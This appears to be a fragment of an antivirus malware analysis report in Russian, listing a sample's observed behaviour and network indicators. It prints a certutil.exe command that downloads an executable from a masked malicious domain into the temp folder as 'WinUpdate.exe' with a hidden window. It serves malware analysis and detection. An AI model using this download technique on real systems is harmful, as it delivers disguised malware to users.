Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://ju###lickam.com/INV_0893.exe %TEMP%\WinUpdate.exe
- 'ju###lickam.com':80
- 'ju###lickam.com':443
- http://ju###lickam.com/INV_0893.exe
- 'ju###lickam.com':443
- DNS ASK ju###lickam.com
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://ju###lickam.com/INV_0893.exe %TEMP%\WinUpdate.exe' (со скрытым окном)